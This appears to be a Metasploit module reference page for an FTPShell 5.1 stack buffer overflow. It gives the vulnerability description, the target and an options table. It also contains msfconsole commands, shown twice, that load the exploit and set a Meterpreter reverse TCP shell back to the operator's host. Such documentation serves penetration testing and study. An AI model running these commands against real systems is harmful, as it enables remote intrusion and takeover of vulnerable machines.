FTPShell 5.1 Stack Buffer Overflow
This module exploits a stack buffer overflow in FTPShell 5.1. The overflow gets triggered when the ftp clients tries to process an overly response to a PWD command. This will overwrite the saved EIP and structured exception handler.
Exploit Rank
- Good
Exploit Authors
- corelanc0d3r < peter.ve [at] corelan.be >
Vulnerability References
Exploit Targets
- 0 - Windows XP Universal (default)
Exploit Development
Similar Exploit Modules
- exploit/windows/ftp/32bitftp_list_reply
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Exploit Usage Information
$ msfconsole
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msf > use exploit/windows/ftp/ftpshell51_pwd_reply
msf exploit(ftpshell51_pwd_reply) > show payloads
msf exploit(ftpshell51_pwd_reply) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ftpshell51_pwd_reply) > set LHOST [MY IP ADDRESS]
msf exploit(ftpshell51_pwd_reply) > exploit
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msf > use exploit/windows/ftp/ftpshell51_pwd_reply
msf exploit(ftpshell51_pwd_reply) > show payloads
msf exploit(ftpshell51_pwd_reply) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ftpshell51_pwd_reply) > set LHOST [MY IP ADDRESS]
msf exploit(ftpshell51_pwd_reply) > exploit
Exploit Module Options
| SRVHOST | The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0) |
| SRVPORT | The local port to listen on. (default: 21) |
| SSL | Negotiate SSL for incoming connections |
| SSLCert | Path to a custom SSL certificate (default is randomly generated) |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3) |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| ListenerComm | The specific communication channel to use for this service |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| TCP::max_send_size | Maximum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |